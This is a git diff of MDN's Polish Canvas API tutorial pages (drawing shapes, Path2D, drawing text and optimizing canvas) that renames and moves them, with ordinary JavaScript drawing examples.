+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.arcTo(x,y+height,x+radius,y+height,radius);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.arcTo(x+width,y+height,x+width,y+height-radius,radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.arcTo(x+width,y,x+width-radius,y,radius);
+  ctx.lineTo(x+radius,y);
+  ctx.arcTo(x,y,x,y+radius,radius);
+  ctx.stroke();
+}
+
+ +

The resulting image looks like this:

+ +

{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}

+ +

We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the fillStyle property on the drawing context, and the use of a utility function (in this case roundedRect()). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.

+ +

We'll take another look at fillStyle, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again.

+ +

Path2D objects

+ +

As we have seen in the last example, there can be a series of paths and drawing commands to draw objects onto your canvas. To simplify the code and to improve performance, the {{domxref("Path2D")}} object, available in recent versions of browsers, lets you cache or record these drawing commands. You are able to play back your paths quickly.
+ Lets see how we can construct a Path2D object:

+ +
+
{{domxref("Path2D.Path2D", "Path2D()")}}
+
The Path2D() constructor returns a newly instantiated Path2D object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of SVG path data.
+
+ +
new Path2D();     // empty path object
+new Path2D(path); // copy from another Path2D object
+new Path2D(d);    // path from SVG path data
+ +

All path methods like moveTo, rect, arc or quadraticCurveTo, etc., which we got to know above, are available on Path2D objects.

+ +

The Path2D API also adds a way to combine paths using the addPath method. This can be useful when you want to build objects from several components, for example.

+ +
+
{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}
+
Adds a path to the current path with an optional transformation matrix.
+
+ +

Path2D example

+ +

In this example, we are creating a rectangle and a circle. Both are stored as a Path2D object, so that they are available for later usage. With the new Path2D API, several methods got updated to optionally accept a Path2D object to use instead of the current path. Here, stroke and fill are used with a path argument to draw both objects onto the canvas, for example.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+
+ +

{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

+ +

Using SVG paths

+ +

Another powerful feature of the new canvas Path2D API is using SVG path data to initialize paths on your canvas. This might allow you to pass around path data and re-use them in both, SVG and canvas.

+ +

The path will move to point (M10 10) and then move horizontally 80 points to the right (h 80), then 80 points down (v 80), then 80 points to the left (h -80), and then back to the start (z). You can see this example on the Path2D constructor page.

+ +
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+ +
{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
diff --git a/files/pl/web/api/canvas_api/tutorial/drawing_text/index.html b/files/pl/web/api/canvas_api/tutorial/drawing_text/index.html new file mode 100644 index 0000000000..4f79154344 --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/drawing_text/index.html @@ -0,0 +1,136 @@ +--- +title: Rysowanie tekstu przy użyciu canvas +slug: Rysowanie_tekstu_przy_użyciu_canvas +tags: + - HTML + - 'HTML:Canvas' + - NeedsContent + - Wszystkie_kategorie +translation_of: Web/API/Canvas_API/Tutorial/Drawing_text +--- +

{{ Gecko_minversion_header(1.9) }} +{{ Fx_minversion_header(3) }} +Element <canvas> wspiera obsługę rysowania tekstu przez eksperymentalne API stworzone w Mozilli. +

+

Method overview

+ + + + + + + + +
void mozDrawText(w DOMString textToDraw); +
float mozMeasureText(w DOMString textToMeasure); +
void mozPathText(w DOMString textToPath); +
void mozTextAlongPath(w DOMString textToDraw, w boolean stroke); +
+

Atrybuty

+ + +
Atrybut +Typ +Opis +
mozTextStyle +DOMString +Przy rysowaniu tekstu używany jest aktualny styl. Ciąg używa takiej samej składni jak CSS font. Aby zmienić styl tekstu, po prostu zmień wartości atrybutu tak jak zaprezentowano to poniżej. Domyślna czcionka to 12-point sans-serif. +

Przykład: +

+
ctx.mozTextStyle = "20pt Arial";
+
+
+

Metody

+

mozDrawText()

+

Rysuje podany tekst używając stylu tekstu podanego w atrybucie mozTextStyle. Kolor wypełnienia kontekstu zostanie użyty jako kolor tekstu. +

+
void mozDrawText(
+   in DOMString textToDraw
+);
+
+
+
Parametry
+
<tt>textToDraw</tt> +
Tekst rysowany w tym kontekście. +
+
Przykład
+
ctx.translate(10, 50);
+ctx.fillStyle = "Red";
+ctx.mozDrawText("Przykładowy ciąg");
+
+

Ten kod rysuje tekst "Przykładowy ciąg" na czerwono w pozycji (10,50) elementu canvas. +

+

mozMeasureText()

+

Zwraca szerokość, w pikselach, jaką podany tekst zajmie kiedy zostanie narysowany w aktualnie użytym stylu. +

+
float mozMeasureText(
+  in DOMString textToMeasure
+);
+
+
Parametery
+
<tt>textToMeasure</tt> +
Ciąg, którego szerokośc w pikselach chcemy ustalić. +
+
Zwracana wartość
+

Szerokość tekstu w pikselach. +

+
Przykład
+
var text = "Przykładowy ciąg";
+var width = ctx.canvas.width;
+var len = ctx.mozMeasureText(text);
+ctx.translate((width - len)/2, 0);
+ctx.mozDrawText(text);
+
+

Ten przykład określa szerokość ciągu, a następnie korzstając z tych danych ryskuje go na horyzontalnym środku w elemencie canvas. +

+

mozPathText()

+

Dodaje kontury tekstu do aktualnej ścieżki. Pozwala to na obrysowanie tekstu zamiast wypełniania go. +

+
void mozPathText(
+  in DOMString textToPath
+);
+
+
Parametery
+
<tt>textToPath</tt> +
Tekst, którego kontury mają zostać dodane do aktualnej ścieżki. +
+
Example
+
ctx.fillStyle = "green";
+ctx.strokeStyle = "black";
+ctx.mozPathText("Przykładowy ciąg");
+ctx.fill()
+ctx.stroke()
+
+

Ten kod narysuje tekst "Przykładowy ciąg" na zielono z czarną obwódką przez dodanie konturów tekstu do ścieżki, a następnie wypełniając ścieżkę i nakładając kontur. +

+

mozTextAlongPath()

+

Dodaje (lub rysuje) określony tekst wzdłuż podanej ścieżki. +

+
void mozTextAlongPath(
+  in DOMString textToDraw,
+  in boolean stroke
+);
+
+
Parametery
+
<tt>textToDraw</tt> +
Tekst, który ma zostać narysowany wzdłuż podanej ścieżki. +
<tt>stroke</tt> +
Jeśli ten parametr ma wartość true, wówczas tekst będzie rysowany wzdłuż podanej ścieżki. Jeśli ma wartość false, tekst zostanie zamiast tego dodany do ścieżki, na końcu. +
+
Uwagi
+

Glify nie są skalowane ani transformowane zgodnie z krzywymi ścieżki; zamiast tego, każdy glif jest renderowany traktując ścieżkę pod sobą jako prostą linię. Można to wykorzystać do stworzenia unikatowych efektów. +

+

Notatki

+ +

Dodatkowe przykłady

+ +
+
+{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }} diff --git a/files/pl/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/pl/web/api/canvas_api/tutorial/optimizing_canvas/index.html new file mode 100644 index 0000000000..68efe0225f --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -0,0 +1,119 @@ +--- +title: Optymalizacja elementu canvas +slug: Web/API/Canvas_API/Tutorial/Optymalizacja_canvas +tags: + - Canvas + - Grafika + - HTML + - HTML5 + - Poradnik + - Tutorial + - zaawansowany +translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
+ +
+

{{HTMLElement("canvas")}}  to jeden z najczęściej używanych standardów do renderowania grafiki 2D w przeglądarce. Zazwyczaj stosuje się go do tworzenia gier i skomplikowanych wizualizacji, które nierzadko starają się wycinąć z płótna" maksimum jego możliwości. Niestety, równie często prowadzi to do spadków wydajności. W tym artykule przygotowaliśmy dla was kilka wskazówek jak zoptymalizować element canvas, aby poprawić działanie waszych stron i aplikacji.

+
+ +

Wskazówki dot. wydajności

+ +

Poniżej znajdziecie kilka rozwiązań, które poprawią wydajność elementu canvas:

+ +

Pre-renderuj proste lub powtażające się obiekty na dodatkowym canvasie poza ekranem

+ +

Jeśli w każdej klatce rysujesz wiele podobnych obiektów, stwórz niewyświetlany, roboczy canvas, narysuj na nim swój element raz (lub za każdym razem gdy ulega zmianom), a następnie wykorzystaj render w głównym canvasie.

+ +
obiekt.canvasRoboczy = document.createElement('canvas');
+obiekt.canvasRoboczy.width = obiekt.width;
+obiekt.canvasRoboczy.height = obiekt.height;
+obiekt.canvasRoboczy = obiekt.canvasRoboczy.getContext('2d');
+
+obiekt.render(obiekt.offscreenContext);
+
+ +

Staraj się używać liczb całkowitch do koordynatów

+ +

Renderowanie między pikselami zachodzi, gdy rysujesz obiekt używając niepełnych wartości.

+ +
ctx.drawImage(myImage, 0.3, 0.5);
+
+ +

Ta praktyka zmusza przeglądarkę do wykonania dodatkowych obliczeń, by wytworzyć efekt anty-aliasingu. Żeby temu zapobiec, zaokrąglij koordynaty, na przykład przy użyciu {{jsxref("Math.floor()")}}.

+ +

Nie skaluj obrazów za pomocą drawImage

+ +

Posłuż się canvasem poza ekranem, renderując swój obrazek w kilku różnych rozmiarach podczas ładowania, zamiast renderować go w każdej klatce.

+ +

Używaj wielu warstw w skomplikowanych scenach

+ +

Tak jak niektóre elementy nieustannie są w ruchu, inne (jak np. UI) nigdy nie zmieniają położenia. Dobrym sposobem na optymalizację w tej sytuacji jest zastosowanie warstw przy użyciu kilku canvasów roboczych.

+ +

Przykładowo, możesz stworzyć warstwę dla interfejsu rysowaną nad innymi, która aktualizuje się tylko w momentach, gdy jest używana. Oprócz tego, możesz przenaczyć jedną warstwę na pierwszy plan, gdzie umieścisz wszystkie elementy, które odnawiane są często oraz jedną warstwę na tło, na której obiekty aktualizowane są bardzo rzadko.

+ +
<div id="scena">
+  <canvas id="warstwaUi" width="480" height="320"></canvas>
+  <canvas id="warstwaGry" width="480" height="320"></canvas>
+  <canvas id="warstwaTla" width="480" height="320"></canvas>
+</div>
+
+<style>
+  #scena {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black
+  }
+  canvas { position: absolute; }
+  #warstwaUI { z-index: 3 }
+  #warstwaGry { z-index: 2 }
+  #warstwaTla { z-index: 1 }
+</style>
+
+ +

Użyj CSS dla dużych obrazów w tle

+ +

Jeśli twoja gra, jak większość, posiada statyczne tło, stwórz element {{HTMLElement("div")}} z własnością CSS {{cssxref("background")}} , który umieścisz pod canvasem. Dzięki temu unikniesz rysowania dużego obrazu w każdej klatce z osobna.

+ +

Skaluj canvas za pomocą CSS

+ +

Transformacje CSS są szybsze dzięki wykorzystaniu karty graficznej. Powiększanie canvasu działa szybciej niż jego pomniejszanie. Dla Firefox OS ustaw 480 x 320 px.

+ +
var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+
+ +

Wyłącz przezroczystość

+ +

Jeśli twoja gra korzysta z canvasu i nie ma potrzeby, by był on przezroczysty, ustaw wartość alpha na false podczas tworzenia kontekstu: HTMLCanvasElement.getContext(). To powinno poprawić wydajność.

+ +
var ctx = canvas.getContext('2d', { alpha: false });
+ +

Pozostałe wskazówki

+ + + +

Zobacz również:

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html b/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html deleted file mode 100644 index 68efe0225f..0000000000 --- a/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Optymalizacja elementu canvas -slug: Web/API/Canvas_API/Tutorial/Optymalizacja_canvas -tags: - - Canvas - - Grafika - - HTML - - HTML5 - - Poradnik - - Tutorial - - zaawansowany -translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas ---- -
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
- -
-

{{HTMLElement("canvas")}}  to jeden z najczęściej używanych standardów do renderowania grafiki 2D w przeglądarce. Zazwyczaj stosuje się go do tworzenia gier i skomplikowanych wizualizacji, które nierzadko starają się wycinąć z płótna" maksimum jego możliwości. Niestety, równie często prowadzi to do spadków wydajności. W tym artykule przygotowaliśmy dla was kilka wskazówek jak zoptymalizować element canvas, aby poprawić działanie waszych stron i aplikacji.

-
- -

Wskazówki dot. wydajności

- -

Poniżej znajdziecie kilka rozwiązań, które poprawią wydajność elementu canvas:

- -

Pre-renderuj proste lub powtażające się obiekty na dodatkowym canvasie poza ekranem

- -

Jeśli w każdej klatce rysujesz wiele podobnych obiektów, stwórz niewyświetlany, roboczy canvas, narysuj na nim swój element raz (lub za każdym razem gdy ulega zmianom), a następnie wykorzystaj render w głównym canvasie.

- -
obiekt.canvasRoboczy = document.createElement('canvas');
-obiekt.canvasRoboczy.width = obiekt.width;
-obiekt.canvasRoboczy.height = obiekt.height;
-obiekt.canvasRoboczy = obiekt.canvasRoboczy.getContext('2d');
-
-obiekt.render(obiekt.offscreenContext);
-
- -

Staraj się używać liczb całkowitch do koordynatów

- -

Renderowanie między pikselami zachodzi, gdy rysujesz obiekt używając niepełnych wartości.

- -
ctx.drawImage(myImage, 0.3, 0.5);
-
- -

Ta praktyka zmusza przeglądarkę do wykonania dodatkowych obliczeń, by wytworzyć efekt anty-aliasingu. Żeby temu zapobiec, zaokrąglij koordynaty, na przykład przy użyciu {{jsxref("Math.floor()")}}.

- -

Nie skaluj obrazów za pomocą drawImage

- -

Posłuż się canvasem poza ekranem, renderując swój obrazek w kilku różnych rozmiarach podczas ładowania, zamiast renderować go w każdej klatce.

- -

Używaj wielu warstw w skomplikowanych scenach

- -

Tak jak niektóre elementy nieustannie są w ruchu, inne (jak np. UI) nigdy nie zmieniają położenia. Dobrym sposobem na optymalizację w tej sytuacji jest zastosowanie warstw przy użyciu kilku canvasów roboczych.

- -

Przykładowo, możesz stworzyć warstwę dla interfejsu rysowaną nad innymi, która aktualizuje się tylko w momentach, gdy jest używana. Oprócz tego, możesz przenaczyć jedną warstwę na pierwszy plan, gdzie umieścisz wszystkie elementy, które odnawiane są często oraz jedną warstwę na tło, na której obiekty aktualizowane są bardzo rzadko.

- -
<div id="scena">
-  <canvas id="warstwaUi" width="480" height="320"></canvas>
-  <canvas id="warstwaGry" width="480" height="320"></canvas>
-  <canvas id="warstwaTla" width="480" height="320"></canvas>
-</div>
-
-<style>
-  #scena {
-    width: 480px;
-    height: 320px;
-    position: relative;
-    border: 2px solid black
-  }
-  canvas { position: absolute; }
-  #warstwaUI { z-index: 3 }
-  #warstwaGry { z-index: 2 }
-  #warstwaTla { z-index: 1 }
-</style>
-
- -

Użyj CSS dla dużych obrazów w tle

- -

Jeśli twoja gra, jak większość, posiada statyczne tło, stwórz element {{HTMLElement("div")}} z własnością CSS {{cssxref("background")}} , który umieścisz pod canvasem. Dzięki temu unikniesz rysowania dużego obrazu w każdej klatce z osobna.

- -

Skaluj canvas za pomocą CSS

- -

Transformacje CSS są szybsze dzięki wykorzystaniu karty graficznej. Powiększanie canvasu działa szybciej niż jego pomniejszanie. Dla Firefox OS ustaw 480 x 320 px.

- -
var scaleX = window.innerWidth / canvas.width;
-var scaleY = window.innerHeight / canvas.height;
-
-var scaleToFit = Math.min(scaleX, scaleY);
-var scaleToCover = Math.max(scaleX, scaleY);
-
-stage.style.transformOrigin = '0 0'; //scale from top left
-stage.style.transform = 'scale(' + scaleToFit + ')';
-
- -

Wyłącz przezroczystość

- -

Jeśli twoja gra korzysta z canvasu i nie ma potrzeby, by był on przezroczysty, ustaw wartość alpha na false podczas tworzenia kontekstu: HTMLCanvasElement.getContext(). To powinno poprawić wydajność.

- -
var ctx = canvas.getContext('2d', { alpha: false });
- -

Pozostałe wskazówki

- - - -

Zobacz również:

- - - -

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html b/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html deleted file mode 100644 index 08c589844b..0000000000 --- a/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html +++ /dev/null @@ -1,571 +0,0 @@ ---- -title: Rysowanie kształtów w canvas -slug: Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow -translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes ---- -
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
- -
-

Ok, stworzyliśmy nasze środowisko canvas i teraz możemy poznać tajniki tworzenia grafiki za pomocą canvas. W tym rozdziale nauczysz się rysować prostokąty, trójkąty, linie, łuki oraz krzywe - czyli podstawowe kształty.

-
- -

Siatka

- -

Nim zaczniemy rysować, poznajmy najpierw siatkę czyli układ współrzędnych canvas. Szablon dokumentu z poprzedniego rozdziału zawiera element canvas o rozmiarach 150 na 150 (pikseli). Ilustracja po prawej ukazuje standardową siatkę naszego płótna. Domyślnie jedna jednostka odległości na siatce odpowiada wielkości jednego piksela na płótnie. Wartości siatki liczone są od lewego górnego rogu układu współrzędnych (x,y). W dalszej części dowiesz się, jak zamienić pozycję, tak by początek układu współrzędnych znajdował się gdzie indziej, jak go obrócić a nawet przeskalować. Na razie jednak użyjemy ustawień domyślnych. 

- -

Rysowanie prostokątów

- -

W przeciwieństwie do {{Glossary("SVG")}}, {{HTMLElement("canvas")}} na razie wspiera jedynie tworzenie prostokątów. Pozostałe figury geometryczne musimy stworzyć za pomocą ścieżek. Na szczęście mamy do dyspozycji zestaw funkcji za pomocą których jesteśmy w stanie stworzyć figury o dowolnej złożoności.

- -

Najpierw przyjrzyjmy się prostokątowi. Istnieją trzy funkcje rysujące prostokąt:

- -
-
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}
-
Rysuje pole prostokąta.
-
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}
-
Rysuje obwód prostokąta.
-
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}
-
Wymazuje prostokątny obszar, w wyniku czego staje się on całkiem przezroczysty. Działą to jak gumka w formie prostokąta.
-
- -

Każda z tych funkcji posiada jednakowe parametry. x i y to współrzędne na siatce - wyznaczają one pozycje lewego górnego rogu prostokąta. A width oraz height określają jego rozmiar.

- -

Poniżej znajduje się funkcjadraw() z poprzedniej strony, tutaj wzbogacona o trzy metody tworzenia prostokątów.

- -

Rectangular shape example

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext) {
-    var ctx = canvas.getContext('2d');
-
-    ctx.fillRect(25,25,100,100);
-    ctx.clearRect(45,45,60,60);
-    ctx.strokeRect(50,50,50,50);
-  }
-}
- -

Oto wynik działania tego skryptu:

- -

{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

- -

Funkcja fillRect() rysuje czarny kwadrat o boku 100 pikseli. Funkcja clearRect() wymazuje kwadratowy obszar o boku 60 pikseli pośrodku czarnego prostokąta, a następnie wywołanie funkcji strokeRect() tworzy obrys kratdatu o boku 50 pikseli również w centrum poprzedniej figury.

- -

W kolejnych rozdziałąch poznasz dwie inne *metody dla clearReact(), oraz zobaczysz jak zmienić kolor oraz styl obrysu renderowanych kształtów.

- -

W przeciwieńśtwie do funkcji tworzących ścieżki o czym przekonasz się później, wszystkie trzy funkcje tworzące prostokąt rysują kształ natychmiast po ich wywołaniu.

- -

Rysowanie ścieżek

- -

Drugim zarazem ostatnim podstawowym kształetem jest cieżka. Ścieżka złożona jest z punktów połączonych liniami prostymi lub krzywymi, o różnej grubości i o różnym kolorze. Ścieżka, a nawet jej fragment może być zamknięta. Aby utworzyć kształt za pomocą ścieżki wykonaj następujące kroki:

- -
    -
  1. utwórz ścieżkę,
  2. -
  3. użyj komend rysujących aby rysować ścieżkę,
  4. -
  5. zamknij ścieżkę.
  6. -
  7. Po utworzeniu ścieżki możesz ją obrysować lub wypełnić, i dopiero wtedy ukaże się ona w canvasie.
  8. -
- -

Oto funkcje potrzebne do wykonania tego zadania:

- -
-
{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
-
Tworzy nową ścieżkę. Po jej utworzeniu, wszelkie kolejne funkcce rysujące będą się do niej odwoływały oraz kontynuowały jej rysunek.
-
Path methods
-
Metoda do ustalania innych ścieżek dla obiektów.
-
{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
-
Zamyka ścieżkę aby przyszłe polecenia rysowania, były kierowane ponownie do kontekstu(ctx).
-
{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}
-
Rysuje kształ poprzez odrysowanie konturu.
-
{{domxref("CanvasRenderingContext2D.fill", "fill()")}}
-
Rysuje kształ poprzez wypełnienie ścieżek wyznaczonego obszaru kontekstowego.
-
- -

The first step to create a path is to call the beginPath(). Internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. Every time this method is called, the list is reset and we can start drawing new shapes.

- -
Note: When the current path is empty, such as immediately after calling beginPath(), or on a newly created canvas, the first path construction command is always treated as a moveTo(), regardless of what it actually is. For that reason, you will almost always want to specifically set your starting position after resetting a path.
- -

The second step is calling the methods that actually specify the paths to be drawn. We'll see these shortly.

- -

The third, and an optional step, is to call closePath(). This method tries to close the shape by drawing a straight line from the current point to the start. If the shape has already been closed or there's only one point in the list, this function does nothing.

- -
Note: When you call fill(), any open shapes are closed automatically, so you don't have to call closePath(). This is not the case when you call stroke().
- -

Drawing a triangle

- -

For example, the code for drawing a triangle would look something like this:

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    ctx.beginPath();
-    ctx.moveTo(75,50);
-    ctx.lineTo(100,75);
-    ctx.lineTo(100,25);
-    ctx.fill();
-  }
-}
-
- -

The result looks like this:

- -

{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

- -

Moving the pen

- -

One very useful function, which doesn't actually draw anything but becomes part of the path list described above, is the moveTo() function. You can probably best think of this as lifting a pen or pencil from one spot on a piece of paper and placing it on the next.

- -
-
{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}
-
Moves the pen to the coordinates specified by x and y.
-
- -

When the canvas is initialized or beginPath() is called, you typically will want to use the moveTo() function to place the starting point somewhere else. We could also use moveTo() to draw unconnected paths. Take a look at the smiley face below.

- -

To try this for yourself, you can use the code snippet below. Just paste it into the draw() function we saw earlier.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-     var ctx = canvas.getContext('2d');
-
-    ctx.beginPath();
-    ctx.arc(75,75,50,0,Math.PI*2,true); // Outer circle
-    ctx.moveTo(110,75);
-    ctx.arc(75,75,35,0,Math.PI,false);  // Mouth (clockwise)
-    ctx.moveTo(65,65);
-    ctx.arc(60,65,5,0,Math.PI*2,true);  // Left eye
-    ctx.moveTo(95,65);
-    ctx.arc(90,65,5,0,Math.PI*2,true);  // Right eye
-    ctx.stroke();
-  }
-}
-
- -

The result looks like this:

- -

{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

- -

If you'd like to see the connecting lines, you can remove the lines that call moveTo().

- -
-

Note: To learn more about the arc() function, see the {{anch("Arcs")}} below.

-
- -

Lines

- -

For drawing straight lines, use the lineTo() method.

- -
-
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
-
Draws a line from the current drawing position to the position specified by x and y.
-
- -

This method takes two arguments, x and y, which are the coordinates of the line's end point. The starting point is dependent on previously drawn paths, where the end point of the previous path is the starting point for the following, etc. The starting point can also be changed by using the moveTo() method.

- -

The example below draws two triangles, one filled and one outlined.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    // Filled triangle
-    ctx.beginPath();
-    ctx.moveTo(25,25);
-    ctx.lineTo(105,25);
-    ctx.lineTo(25,105);
-    ctx.fill();
-
-    // Stroked triangle
-    ctx.beginPath();
-    ctx.moveTo(125,125);
-    ctx.lineTo(125,45);
-    ctx.lineTo(45,125);
-    ctx.closePath();
-    ctx.stroke();
-  }
-}
-
- -

This starts by calling beginPath() to start a new shape path. We then use the moveTo() method to move the starting point to the desired position. Below this, two lines are drawn which make up two sides of the triangle.

- -

{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

- -

You'll notice the difference between the filled and stroked triangle. This is, as mentioned above, because shapes are automatically closed when a path is filled, but not when they are stroked. If we left out the closePath() for the stroked triangle, only two lines would have been drawn, not a complete triangle.

- -

Arcs

- -

To draw arcs or circles, we use the arc() or arcTo() methods.

- -
-
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}
-
Draws an arc which is centered at (x, y) position with radius r starting at startAngle and ending at endAngle going in the given direction indicated by anticlockwise (defaulting to clockwise).
-
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}
-
Draws an arc with the given control points and radius, connected to the previous point by a straight line.
-
- -

Let's have a more detailed look at the arc method, which takes six parameters: x and y are the coordinates of the center of the circle on which the arc should be drawn. radius is self-explanatory. The startAngle and endAngle parameters define the start and end points of the arc in radians, along the curve of the circle. These are measured from the x axis. The anticlockwise parameter is a Boolean value which, when true, draws the arc anticlockwise; otherwise, the arc is drawn clockwise.

- -
-

Note: Angles in the arc function are measured in radians, not degrees. To convert degrees to radians you can use the following JavaScript expression: radians = (Math.PI/180)*degrees.

-
- -

The following example is a little more complex than the ones we've seen above. It draws 12 different arcs all with different angles and fills.

- -

The two for loops are for looping through the rows and columns of arcs. For each arc, we start a new path by calling beginPath(). In the code, each of the parameters for the arc is in a variable for clarity, but you wouldn't necessarily do that in real life.

- -

The x and y coordinates should be clear enough. radius and startAngle are fixed. The endAngle starts at 180 degrees (half a circle) in the first column and is increased by steps of 90 degrees, culminating in a complete circle in the last column.

- -

The statement for the clockwise parameter results in the first and third row being drawn as clockwise arcs and the second and fourth row as counterclockwise arcs. Finally, the if statement makes the top half stroked arcs and the bottom half filled arcs.

- -
-

Note: This example requires a slightly larger canvas than the others on this page: 150 x 200 pixels.

-
- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    for(var i=0;i<4;i++){
-      for(var j=0;j<3;j++){
-        ctx.beginPath();
-        var x = 25+j*50; // x coordinate
-        var y = 25+i*50; // y coordinate
-        var radius = 20; // Arc radius
-        var startAngle = 0; // Starting point on circle
-        var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
-        var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
-
-        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
-
-        if (i>1){
-          ctx.fill();
-        } else {
-          ctx.stroke();
-        }
-      }
-    }
-  }
-}
-
- -

{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

- -

Bezier and quadratic curves

- -

The next type of paths available are Bézier curves, available in both cubic and quadratic varieties. These are generally used to draw complex organic shapes.

- -
-
{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}
-
Draws a quadratic Bézier curve from the current pen position to the end point specified by x and y, using the control point specified by cp1x and cp1y.
-
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}
-
Draws a cubic Bézier curve from the current pen position to the end point specified by x and y, using the control points specified by (cp1x, cp1y) and (cp2x, cp2y).
-
- -

